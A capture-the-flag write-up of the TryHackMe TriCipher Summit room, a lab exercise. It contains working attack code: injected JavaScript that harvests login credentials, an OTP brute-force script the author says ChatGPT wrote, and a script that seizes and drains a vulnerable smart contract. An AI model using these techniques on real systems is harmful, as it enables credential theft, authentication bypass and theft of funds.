TryHackMe | TryHack3M: TriCipher Summit | Write-Up

The TryHack3M: TriCipher Summit room hosted by TryHackMe challenges to reach the apex of this triple-crypto challenge. More details can be found here: https://tryhackme.com/r/room/tryhack3mencryptionchallenge

I used a Kali Linux VM in VirtualBox and connected to the TryHackMe machine via OpenVPN.


Find the TryHack3M Flags

Step into the realm of TryHackM3 as we approach 3 million users, where ‘3 is the magic number’! Embark on the TryHackM3 challenge, intercepting credentials, cracking custom crypto, hacking servers, and breaking into smart contracts to steal the 3 million. Are you ready for the cryptography ultimate challenge?

In this challenge, you will be expected to:

  • Perform supply chain attacks
  • Reverse engineer cryptography
  • Hack a crypto smart contract

Press the Start Machine button and wait at least 5 minutes for the VM to boot up properly.

What is Flag 1?

nmap -sV 10.10.44.37

Port 80, 443, and 22 were open without surprise, but also 5000 and 8000.

Using https and accepting the risk in Firefox:

It said “admin ui”, so I assumed I could already do some privileged stuff here without having to bypass any security measures. It stated a version number at the bottom, so I also thought about searching for a known vulnerability. Also, I got some keys: Access Key: AKIAIOSFODNN7EXAMPLE; Secret Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

The top menu lead to Access Logs and an API. The “libraries” bucket, had two “Actions”: “Make private” and “Delete”. Inside the libraries bucket looked like this:

So it seemed I could upload my own libraries. In the challenge description it said I should “Perform supply chain attacks”, so I assumed this was meant by that.

The access logs actually showed recent accesses:

I did this challenge on the 29th, so I assumed some kind of privileged user accessed the form-submit.js library and I would need to change that so that I can steal their access data like login credentials.

The API page showed some information about accessing the bucket via the API:

At the bottom of the logs, it showed some rejected accesses:

Trying to get there myself also resulted in Access Denied:

Going to the /libraries/form-submit.js path, I got the original form-submit.js script, which was the same as the one in the bucket even though that one was accessible under https://10.10.44.37/ui/libraries/form-submit.js. The auth.js also didn’t look much different.

const form = document.querySelector('#login-form');
const privkey = `MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuL9Yb8xsvKimy
lR/MJB2Z2oBXuIvIidHIVxf7+Sl3Y35sU53Vd+D1QOuJByvpLmpczYsQkUMJmKha
36ibC2gjBMlTlZJ0OwnjG+Na0libW9fnWZVKq0JuAhyJd9OUyO0Up1hk2W6/1abU
OuEcYn1CTdYrTq7pdRhKLp2kYfVo64oV+NPDgQWvaIyR9vdEA+tGa4bgm5BQENaw
0Uh6qrtBh8pFKDX9EMEizauhRAsOUVlZ6ZYWCiT+A+IGZHpzFIXWh0gRbIANDZAd
g+CATLT/jee9wi0Vvg7L4o/Xn293SIAXYK7NYEHwMZP/SSmtcasYSFfgFvZ3BX+j
OLNynG5lAgMBAAECggEABXwFGlEvwG7r7C8M1sEmW3NJSjnJ0PEh9VRksW7ZcuRj
lSaW2CNTpnU6VVCv/cIT4EMqh0WDnlg7qMzVAri7uSqL6kFR4K4BNDDrGi94Ub/1
Dtg/vp+g0lTnsB5hP5SJ/nX8bwR3m7uu6ozGDL4/ImjP/wIVuM0SjDdmiEf7UafX
iWE12Lq5RbsHnvcXte2wl09keRszatRk/ODrqMPxzjS1NSt6KBfxtiRPNB+GZt1y
DhYKaHEO0riDsUiXurMwt7bAlupiiIS0pDAfNDEnvc2gWaiir8pIFGezowd+sIOd
XSW3aJU2Y5ByroelgkovRNIpF2QPXfFSsHyzx5uQawKBgQDsnwAuzp07CaHrXyaJ
HBno149LOaGYzRucxdKFFndizY/Le7ONl4PujRV+dwATAnuo8WIz7Upitd1uuh+H
0n37G4gaKIPK0o/pNYgIpMAoWSRI9zkPyId8yBEcpMJiUYXhXziQHhYhJ3shzn/2
Rh5RDS31tCxykpe5AHATw+R60wKBgQC8c9bPRNakEftP4IkC5wriHXpwEXYWRmCf
rRmeJmfApUgGfnAWzWBu1D5eHZU5z+6iojSSyxZSGJfKedON6loySWww/ZF/1QqQ
xkS+E3S86jp1PeJVYu2DuYhfcb8AXjt4ed48DNEMR5XZeWIKCYLsACHmag1IR9cW
XmCgovO+5wKBgQDJaVp1fUfW3g8m07pwkSv4x6vgg3DrKQPtAXJ9+K6sun9A3M3s
o2EY6Jy4JkE47S8nkjheLQjZVybiPqniKik0Wq4SXhQ4y9zVzMw7V0l9zssVFONM
bQvvCjmOoSwZFn2YZj42ZnW9yOaF00mW7v6VTVumvrPq3p8pSZcdK+zLIwKBgQCm
qiwIEvFhGSYRdpq1nm/Zmgh2pHqzKHq7vPMzEvQfRA128Mtg3zGx0rN1uOQIxQRf
gOTODh4nbOiRgTy//crXPmgYy6iqTVeSwkZ5c+uCSAR7O8e3jE5SePtKreYmBTDD
U8Rfh1Y6bfTw6JD0H4VSAqv4g0JL8n0eo0kByBuZcQKBgGdaG1XJZbK4a1fQ3scR
sv8Z+HgkaKS1FY0nXShNwFaE4Tfk6f/gsTgNqbyhk+HsFelmxKoFgf0Sa7313TPR
ibFr+wDYJVOApLm9P/dg5AecXRylUKv/gbbVwBDnkCWrm48H3MY+uLqVBUZ+2jfi
c7A3LDsSigmnDbODU4muEM0Z`
const enc = new TextEncoder()

function str2ab(str) {
    const buf = new ArrayBuffer(str.length);
    const bufView = new Uint8Array(buf);
    for (let i = 0, strLen = str.length; i < strLen; i++) {
      bufView[i] = str.charCodeAt(i);
    }
    return buf;
}

function getPrivateKey() {
    const binaryDerString = window.atob(privkey);
    const binaryDer = str2ab(binaryDerString);
  
    return window.crypto.subtle.importKey(
      "pkcs8",
      binaryDer,
      {
        name: "RSASSA-PKCS1-v1_5",
        hash: "SHA-256",
      },
      true,
      ["sign"]
    );
}

function rot13 (message) {
    const originalAlpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    const cipher = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
    return message.replace(/[a-z]/gi, letter => cipher[originalAlpha.indexOf(letter)])
}

async function getSecretKey(key) {
    return await window.crypto.subtle.importKey("raw", key, "AES-CBC", true,
        ["encrypt", "decrypt"]
    );
}

async function encryptMessage(key, message) {
    iv = enc.encode("0000000000000000").buffer;
    return await window.crypto.subtle.encrypt(
      {
        name: "AES-CBC",
        iv
      },
      key,
      message
    );
}

async function decryptMessage(key, message) {
    iv = enc.encode("0000000000000000").buffer;
    return await window.crypto.subtle.decrypt(
      {
        name: "AES-CBC",
        iv
      },
      key,
      message
    );
}

async function signMessage(privateKey, message) {
    return await window.crypto.subtle.sign(
      "RSASSA-PKCS1-v1_5",
      privateKey,
      message
    );
}

form.addEventListener('submit', async (e) => {
    e.preventDefault();

    const formData = (new FormData(form));
    const formDataObj = {};
    formData.forEach((value, key) => (formDataObj[key] = value));
    console.log(formDataObj)

    const rawAesKey = window.crypto.getRandomValues(new Uint8Array(16));
    let mac = rot13(window.btoa(String.fromCharCode(...rawAesKey)))
    const aesKey = await getSecretKey(rawAesKey)
    const rsaKey = await getPrivateKey()
    let rawdata = "username=" + formDataObj["username"] + "&password=" + formDataObj["password"]
    let data = window.btoa(String.fromCharCode(...new Uint8Array(await encryptMessage(aesKey, enc.encode(rawdata).buffer))))
    let sign = window.btoa(String.fromCharCode(...new Uint8Array(await signMessage(rsaKey, enc.encode(rawdata).buffer))))

    const response = await fetch('/login', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
        },
        body: "mac=" + encodeURIComponent(mac) + "&data=" + encodeURIComponent(data) + "&sign=" + encodeURIComponent(sign)
    });
    if (response.ok && response.status == 200 && (await response.text()).startsWith("result=")) {
        window.location.href = '/congratulations';
    } else {
        alert('Login failed');
    }
});

Interestingly, at the top a private key was given, in the middle section there was some AES-CBC cryptography, and at the bottom, the submitted and encrypted data was POSTed to /login. Upon a successful login, the user would be redirected to /congratulations.

So, in order to steal the login credentials, I would have to add some lines of code there to send the clear text somewhere where I can read it.

But first, I was wondering where the login request would even come from and where I would use the credentials myself. Well, that’s what port 5000 was for, where the form-submit.js library is used.:

From the URL being https://cdn.tryhackm3.loc/libraries/form-submit.js, I assumed that the hostname for the target IP address was cdn.tryhackm3.loc, so I changed my hosts file accordingly.

cat /etc/hosts
echo "10.10.44.37 cdn.tryhackm3.loc" >> /etc/hosts
cat /etc/hosts

With that, I could access the script using the domain name, too:

Now, back to manipulating the script. For a quick test, I added a simple line to the file and uploaded it. The upload worked without problem as can be seen by the new date on the form-submit.js:

And after reloading the script on the website, it also showed my little change:

Now I had quite a few options to steal the credentials. The easiest would be to create a third file and just dump all credentials there whenever someone logs in. However, since it is client-site JavaScript, it would need to make a request to the server and write the credentials using an existing server functionality. While there is one in the form of creating new libraries in the bucket, I opted for letting the client JavaScript make a request to me directly by setting up an own little webserver. I tried just using a netcat listener, but that naturally hung after the first request. Instead, I used a simple Python http-server and made some test request in my browser:

However, I quickly realized the target server uses https while my python localhost uses http. To make a public https server, I would probably have to use something like ngrok. So instead, I went back to my other idea of creating a file on the target server. For that, I included the snippet below.

document.addEventListener('DOMContentLoaded', function() {
    form.addEventListener('submit', function(event) {
        event.preventDefault();
	
	// get credentials from HTML form
        let username = document.getElementById('username').value;
        let password = document.getElementById('password').value;

	// Create single string of credentials
        let credentials = "username: " + username + " password: " + password;

        // Store credentials
        fetch('https://cdn.tryhackm3.loc/ui/libraries?upload&filename=credentials.txt', {
            method: 'POST',
            headers: {
                'Content-Type': 'text/plain'
            },
            body: credentials
        });
    });
});

It adds a second function to when the submit button is clicked. Not only are the credentials send to the server as intended, but now they would also be stored to credentials.txt. To test my new script, I submitted some test credentials.

Before I could even confirm my own test by looking into the credentials.txt, I got this:

username: TryHackM3 password: supersecretpassword

There was a quick redirect after the response was sent. I didn’t find a flag on /congratulations, so I set Firefox to preserve the logs and logged in again:

Now I could see the response of the login request.

Result: Q29uZ3JhdHVsYXRpb25zLCB5b3UgZ290IHRoZSB1c2VybmFtZSBhbmQgcGFzc3dvcmQsIG5vdyBwcm92aWRlIHRoZSBPVFAgYXQgL3N1cGVyc2VjcmV0b3RwLiBGbGFnMTogVEhNe3RoZS5xdWlldGVyLnlvdS5iZWNvbWUudGhlLm1vcmUueW91LndpbGwuaGVhcn0

Which is base64 for: Congratulations, you got the username and password, now provide the OTP at /supersecretotp. Flag1: THM{the.quieter.you.become.the.more.you.will.hear}

Flag: THM{the.quieter.you.become.the.more.you.will.hear}


What is Flag 2?

Obviously, I went straight to /supersecretotp as suggested by the previous login response.

As the name implied, this was some kind of Multi Factor Authentication using a One Time Pad. From other CTFs I immediately assumed I had to login a couple thousand times and brute-force the OTP. However, I hoped for an easy challenge where the OTP would not change with every attempt and I could just try all numbers from 0000 to 9999. Or 000000 to 999999 if I was unlucky.

The script for the OTP was static, so I had no chance of changing it like in the previous challenge:

const form = document.querySelector('#otp-form');
const privkey = `MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuL9Yb8xsvKimy
lR/MJB2Z2oBXuIvIidHIVxf7+Sl3Y35sU53Vd+D1QOuJByvpLmpczYsQkUMJmKha
36ibC2gjBMlTlZJ0OwnjG+Na0libW9fnWZVKq0JuAhyJd9OUyO0Up1hk2W6/1abU
OuEcYn1CTdYrTq7pdRhKLp2kYfVo64oV+NPDgQWvaIyR9vdEA+tGa4bgm5BQENaw
0Uh6qrtBh8pFKDX9EMEizauhRAsOUVlZ6ZYWCiT+A+IGZHpzFIXWh0gRbIANDZAd
g+CATLT/jee9wi0Vvg7L4o/Xn293SIAXYK7NYEHwMZP/SSmtcasYSFfgFvZ3BX+j
OLNynG5lAgMBAAECggEABXwFGlEvwG7r7C8M1sEmW3NJSjnJ0PEh9VRksW7ZcuRj
lSaW2CNTpnU6VVCv/cIT4EMqh0WDnlg7qMzVAri7uSqL6kFR4K4BNDDrGi94Ub/1
Dtg/vp+g0lTnsB5hP5SJ/nX8bwR3m7uu6ozGDL4/ImjP/wIVuM0SjDdmiEf7UafX
iWE12Lq5RbsHnvcXte2wl09keRszatRk/ODrqMPxzjS1NSt6KBfxtiRPNB+GZt1y
DhYKaHEO0riDsUiXurMwt7bAlupiiIS0pDAfNDEnvc2gWaiir8pIFGezowd+sIOd
XSW3aJU2Y5ByroelgkovRNIpF2QPXfFSsHyzx5uQawKBgQDsnwAuzp07CaHrXyaJ
HBno149LOaGYzRucxdKFFndizY/Le7ONl4PujRV+dwATAnuo8WIz7Upitd1uuh+H
0n37G4gaKIPK0o/pNYgIpMAoWSRI9zkPyId8yBEcpMJiUYXhXziQHhYhJ3shzn/2
Rh5RDS31tCxykpe5AHATw+R60wKBgQC8c9bPRNakEftP4IkC5wriHXpwEXYWRmCf
rRmeJmfApUgGfnAWzWBu1D5eHZU5z+6iojSSyxZSGJfKedON6loySWww/ZF/1QqQ
xkS+E3S86jp1PeJVYu2DuYhfcb8AXjt4ed48DNEMR5XZeWIKCYLsACHmag1IR9cW
XmCgovO+5wKBgQDJaVp1fUfW3g8m07pwkSv4x6vgg3DrKQPtAXJ9+K6sun9A3M3s
o2EY6Jy4JkE47S8nkjheLQjZVybiPqniKik0Wq4SXhQ4y9zVzMw7V0l9zssVFONM
bQvvCjmOoSwZFn2YZj42ZnW9yOaF00mW7v6VTVumvrPq3p8pSZcdK+zLIwKBgQCm
qiwIEvFhGSYRdpq1nm/Zmgh2pHqzKHq7vPMzEvQfRA128Mtg3zGx0rN1uOQIxQRf
gOTODh4nbOiRgTy//crXPmgYy6iqTVeSwkZ5c+uCSAR7O8e3jE5SePtKreYmBTDD
U8Rfh1Y6bfTw6JD0H4VSAqv4g0JL8n0eo0kByBuZcQKBgGdaG1XJZbK4a1fQ3scR
sv8Z+HgkaKS1FY0nXShNwFaE4Tfk6f/gsTgNqbyhk+HsFelmxKoFgf0Sa7313TPR
ibFr+wDYJVOApLm9P/dg5AecXRylUKv/gbbVwBDnkCWrm48H3MY+uLqVBUZ+2jfi
c7A3LDsSigmnDbODU4muEM0Z`
const enc = new TextEncoder()

function str2ab(str) {
    const buf = new ArrayBuffer(str.length);
    const bufView = new Uint8Array(buf);
    for (let i = 0, strLen = str.length; i < strLen; i++) {
      bufView[i] = str.charCodeAt(i);
    }
    return buf;
}

function getPrivateKey() {
    const binaryDerString = window.atob(privkey);
    const binaryDer = str2ab(binaryDerString);
  
    return window.crypto.subtle.importKey(
      "pkcs8",
      binaryDer,
      {
        name: "RSASSA-PKCS1-v1_5",
        hash: "SHA-256",
      },
      true,
      ["sign"]
    );
}

function rot13 (message) {
    const originalAlpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    const cipher = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
    return message.replace(/[a-z]/gi, letter => cipher[originalAlpha.indexOf(letter)])
}

async function getSecretKey(key) {
    return await window.crypto.subtle.importKey("raw", key, "AES-CBC", true,
        ["encrypt", "decrypt"]
    );
}

async function encryptMessage(key, message) {
    iv = enc.encode("0000000000000000").buffer;
    return await window.crypto.subtle.encrypt(
      {
        name: "AES-CBC",
        iv
      },
      key,
      message
    );
}

async function signMessage(privateKey, message) {
    return await window.crypto.subtle.sign(
      "RSASSA-PKCS1-v1_5",
      privateKey,
      message
    );
}

form.addEventListener('submit', async (e) => {
    e.preventDefault();

    const formData = (new FormData(form));
    const formDataObj = {};
    formData.forEach((value, key) => (formDataObj[key] = value));
    console.log(formDataObj)

    const rawAesKey = window.crypto.getRandomValues(new Uint8Array(16));
    let mac = rot13(window.btoa(String.fromCharCode(...rawAesKey)))
    const aesKey = await getSecretKey(rawAesKey)
    const rsaKey = await getPrivateKey()
    let rawdata = "otp=" + formDataObj["otp"]
    let data = window.btoa(String.fromCharCode(...new Uint8Array(await encryptMessage(aesKey, enc.encode(rawdata).buffer))))
    let sign = window.btoa(String.fromCharCode(...new Uint8Array(await signMessage(rsaKey, enc.encode(rawdata).buffer))))

    const response = await fetch('/supersecretotp', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
        },
        body: "mac=" + encodeURIComponent(mac) + "&data=" + encodeURIComponent(data) + "&sign=" + encodeURIComponent(sign)
    });
    if (response.ok && response.status == 200 && (await response.text()).startsWith("result=")) {
        window.location.href = '/activated';
    } else {
        alert('OTP failed, for more information review the result of the API');
    }
});

Much of it looked like the first form-submit.js, but now the OTP was sent to /supersecretotp and upon success, the user would be redirected to /activated.

Interestingly, I didn’t have to do anything with the cryptography before, and the second thing this room expected me to do was to “Reverse engineer cryptography”, so I assumed this was the time. However, since the form-submit2.js provided all keys and secrets, I just tried copying the whole file and spamming OTPs in a loop until one would stick. Since the source was JavaScript, I wanted to use JavaScript with Node.js, but I didn’t quite get that to work, probably because of some SSL/HTTPS stuff.

So I simply asked ChatGPT to translate the code to Python and write a loop to try many OTPs. After some adjustments, it looked like this

import requests
from base64 import b64encode, b64decode
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.Util.Padding import pad, unpad
import urllib.parse
import os
import urllib3

# Disable SSL warnings
urllib3.disable_warnings()

# RSA private key (example)
privkey = '''-----BEGIN RSA PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuL9Yb8xsvKimy
lR/MJB2Z2oBXuIvIidHIVxf7+Sl3Y35sU53Vd+D1QOuJByvpLmpczYsQkUMJmKha
36ibC2gjBMlTlZJ0OwnjG+Na0libW9fnWZVKq0JuAhyJd9OUyO0Up1hk2W6/1abU
OuEcYn1CTdYrTq7pdRhKLp2kYfVo64oV+NPDgQWvaIyR9vdEA+tGa4bgm5BQENaw
0Uh6qrtBh8pFKDX9EMEizauhRAsOUVlZ6ZYWCiT+A+IGZHpzFIXWh0gRbIANDZAd
g+CATLT/jee9wi0Vvg7L4o/Xn293SIAXYK7NYEHwMZP/SSmtcasYSFfgFvZ3BX+j
OLNynG5lAgMBAAECggEABXwFGlEvwG7r7C8M1sEmW3NJSjnJ0PEh9VRksW7ZcuRj
lSaW2CNTpnU6VVCv/cIT4EMqh0WDnlg7qMzVAri7uSqL6kFR4K4BNDDrGi94Ub/1
Dtg/vp+g0lTnsB5hP5SJ/nX8bwR3m7uu6ozGDL4/ImjP/wIVuM0SjDdmiEf7UafX
iWE12Lq5RbsHnvcXte2wl09keRszatRk/ODrqMPxzjS1NSt6KBfxtiRPNB+GZt1y
DhYKaHEO0riDsUiXurMwt7bAlupiiIS0pDAfNDEnvc2gWaiir8pIFGezowd+sIOd
XSW3aJU2Y5ByroelgkovRNIpF2QPXfFSsHyzx5uQawKBgQDsnwAuzp07CaHrXyaJ
HBno149LOaGYzRucxdKFFndizY/Le7ONl4PujRV+dwATAnuo8WIz7Upitd1uuh+H
0n37G4gaKIPK0o/pNYgIpMAoWSRI9zkPyId8yBEcpMJiUYXhXziQHhYhJ3shzn/2
Rh5RDS31tCxykpe5AHATw+R60wKBgQC8c9bPRNakEftP4IkC5wriHXpwEXYWRmCf
rRmeJmfApUgGfnAWzWBu1D5eHZU5z+6iojSSyxZSGJfKedON6loySWww/ZF/1QqQ
xkS+E3S86jp1PeJVYu2DuYhfcb8AXjt4ed48DNEMR5XZeWIKCYLsACHmag1IR9cW
XmCgovO+5wKBgQDJaVp1fUfW3g8m07pwkSv4x6vgg3DrKQPtAXJ9+K6sun9A3M3s
o2EY6Jy4JkE47S8nkjheLQjZVybiPqniKik0Wq4SXhQ4y9zVzMw7V0l9zssVFONM
bQvvCjmOoSwZFn2YZj42ZnW9yOaF00mW7v6VTVumvrPq3p8pSZcdK+zLIwKBgQCm
qiwIEvFhGSYRdpq1nm/Zmgh2pHqzKHq7vPMzEvQfRA128Mtg3zGx0rN1uOQIxQRf
gOTODh4nbOiRgTy//crXPmgYy6iqTVeSwkZ5c+uCSAR7O8e3jE5SePtKreYmBTDD
U8Rfh1Y6bfTw6JD0H4VSAqv4g0JL8n0eo0kByBuZcQKBgGdaG1XJZbK4a1fQ3scR
sv8Z+HgkaKS1FY0nXShNwFaE4Tfk6f/gsTgNqbyhk+HsFelmxKoFgf0Sa7313TPR
ibFr+wDYJVOApLm9P/dg5AecXRylUKv/gbbVwBDnkCWrm48H3MY+uLqVBUZ+2jfi
c7A3LDsSigmnDbODU4muEM0Z
-----END RSA PRIVATE KEY-----'''

# Function to perform ROT13 encoding
def rot13(message):
    return message.translate(str.maketrans(
        "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
        "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm"))

# Function to encrypt data using AES CBC mode
def encrypt_message(key, data):
    cipher = AES.new(key, AES.MODE_CBC, b'0000000000000000')
    return cipher.encrypt(pad(data.encode(), AES.block_size))

# Function to decrypt data using AES CBC mode
def decrypt_message(key, data):
    cipher = AES.new(key, AES.MODE_CBC, b'0000000000000000')
    return unpad(cipher.decrypt(data), AES.block_size)

# Function to sign data using RSA private key and SHA-256
def sign_message(privateKey, data):
    signer = pkcs1_15.new(RSA.import_key(privateKey))
    return signer.sign(SHA256.new(data))

# Function to send OTP
def sendOTP(otp, rawAesKey):
    rawdata = "otp=" + str(otp)
    mac = rot13(b64encode(rawAesKey).decode())
    data = b64encode(encrypt_message(rawAesKey, rawdata)).decode()
    sign = b64encode(sign_message(privkey, rawdata.encode())).decode()
    
    payload = {
        "mac": mac,
        "data": data,
        "sign": sign
    }
    
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
    }
    
    url = "https://cdn.tryhackm3.loc:5000/supersecretotp"
    
    # Send POST request with payload and headers, ignoring SSL certificate verification
    response = requests.post(url, data=payload, headers=headers, verify=False)
    
    return response

# Generate a random AES key
rawAesKey = os.urandom(16)

# Iterate over OTP range and send OTPs
for otp in range(0, 9999):
    print(f'Trying OTP: {otp}')
    response = sendOTP(otp, rawAesKey)
    
    # Extract and decode the result
    result = urllib.parse.unquote(response.text.split("=")[1].rstrip())
    result_dec = decrypt_message(rawAesKey, b64decode(result)).decode()
    
    print(f'Response: {response.text}')
    print(f'Result decrypted: {result_dec}')
    
    # Exit loop if OTP is successfully validated
    if response.ok:
        break

When I ran the code, I saw that I didn’t need a loop at all, as you can see below:

It told me the correct OTP, so I adjusted the loop to start at 1305 and ran it again to get the flag.

Flag: THM{Custom.crypto.can't.stop.you}


What is Flag 3?

As the response suggested, I went to port 3000.

Interestingly, this one had no SSL certificate. It presented a Blockchain Challenge. My favorites. Not. I mean, I saw it coming when the challenge introduction said I would have to “Hack a crypto smart contract”.

ChatGPT explained the provided code in detail. For reference, see below.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract Challenge {
    address public owner;
    address public deposit;
    uint256 public constant INITIAL_BALANCE = 3000000;
    bool public you_solved_it = false;

    constructor() {
        deposit = msg.sender;
        owner = msg.sender;
        balances[owner] = INITIAL_BALANCE;
    }

    mapping(address => uint256) public balances;

    function getOwnerBalance() external view returns (uint256) {
        return balances[owner];
    }
    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can transfer the balance");
        _;
    }

    function transferDeposit() onlyOwner external {

        

        uint256 ownerBalance = balances[deposit];
        require(ownerBalance > 0, "Owner has no balance to transfer");

        balances[deposit] = 0;
        balances[owner] += ownerBalance;
        you_solved_it = true;       
    }

    function getBalanceFromAddress(address _address) external returns (uint256) {


       return balances[_address];
    }
   
    function reset(address resetAddress) external  {
        require(resetAddress != address(0), "Invalid address");
        owner = resetAddress;
    }

     function isSolved() external view returns (bool) {
           return you_solved_it;
           
    }

}

To solve the challenge, isSolved() has to return true in line 49. For that, you_solved_it has to become true in transferDeposit() in line 26 and 35. To do that, we have to be the owner (line 26 and 21) and our balance has to be greater than 0 (line 31), starting with 1.0 ETH. To become the owner, we need to provide our address in the reset function on line 44 and 46.

I prompted ChatGPT to write a python script to solve it, assuming I have all the individual addresses and keys. This is the code ChatGPT provided after adding my individual addresses and keys:

from web3 import Web3
from eth_account import Account

# Fill in your RPC URL, contract address, ABI, and chain ID
rpc_url = 'http://geth:8545'
contract_address = '0xf22cB0Ca047e88AC996c17683Cee290518093574'
abi = [
    {
        "inputs": [],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "getOwnerBalance",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "reset",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [
            {
                "internalType": "address",
                "name": "resetAddress",
                "type": "address"
            }
        ],
        "name": "reset",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "transferDeposit",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]
chain_id = 31337

# Replace with your private key and wallet address
private_key = '0xc6add6e360e0cf5d96a13b5b7e47a14c8ecb0b2b7c0a6b6ec303763bc6cd0736'
wallet_address = '0x84E920AAebb7c385622bA88502021f6ceB372E3f'

# Connect to Ethereum node
w3 = Web3(Web3.HTTPProvider(rpc_url))

# Verify connection
if w3.is_connected():
    print(f"Connected to Ethereum node at {rpc_url}")
else:
    print("Failed to connect to Ethereum node")

# Create account object from private key
account = Account.from_key(private_key)

# Build contract instance
contract = w3.eth.contract(address=contract_address, abi=abi)

# Example functions to interact with the contract

# 1. Check owner's balance
def get_owner_balance():
    balance = contract.functions.getOwnerBalance().call()
    print(f"Owner's balance: {balance} wei")
    return balance

# 2. Check if the challenge is solved
def check_is_solved():
    solved = contract.functions.isSolved().call()
    print(f"Is challenge solved? {solved}")
    return solved

# 3. Reset owner address (onlyOwner function)
def reset_owner(new_owner_address):
    txn_hash = contract.functions.reset(new_owner_address).build_transaction({
        'chainId': chain_id,
        'gas': 2000000,  # Adjust gas limit as needed
        'gasPrice': w3.eth.gas_price,
        'nonce': w3.eth.get_transaction_count(wallet_address),
    })
    signed_txn = w3.eth.account.sign_transaction(txn_hash, private_key=private_key)
    txn_receipt = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    print(f"Transaction sent: {txn_receipt.hex()}")
    return txn_receipt

# 4. Transfer deposit (onlyOwner function)
def transfer_deposit():
    txn_hash = contract.functions.transferDeposit().build_transaction({
        'from': wallet_address,
        'chainId': chain_id,
        'gas': 2000000,  # Adjust gas limit as needed
        'gasPrice': w3.eth.gas_price,
        'nonce': w3.eth.get_transaction_count(wallet_address),
    })
    signed_txn = w3.eth.account.sign_transaction(txn_hash, private_key=private_key)
    txn_receipt = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    print(f"Transaction sent: {txn_receipt.hex()}")
    return txn_receipt

# Example usage
if __name__ == "__main__":
    # Check owner's balance
    owner_balance = get_owner_balance()

    # Check if challenge is solved
    is_solved = check_is_solved()

    # Reset owner address (example: resetting to a new address)
    new_owner_address = wallet_address
    reset_txn_receipt = reset_owner(new_owner_address)

    # Transfer deposit (assuming deposit is not zero)
    transfer_txn_receipt = transfer_deposit()

Running it after adding “geth” to /etc/hosts:

Then I clicked “Get Flag” and it actually worked first try!

Flag: THM{emptying_the_deposit_3_million}


That concludes this CTF. I was a bit relieved when the third flag did not require as much effort as the second one because I spent some hours on the second one for various reasons. And even the second one looked much harder than it was. Still challenging, but I was a bit scared.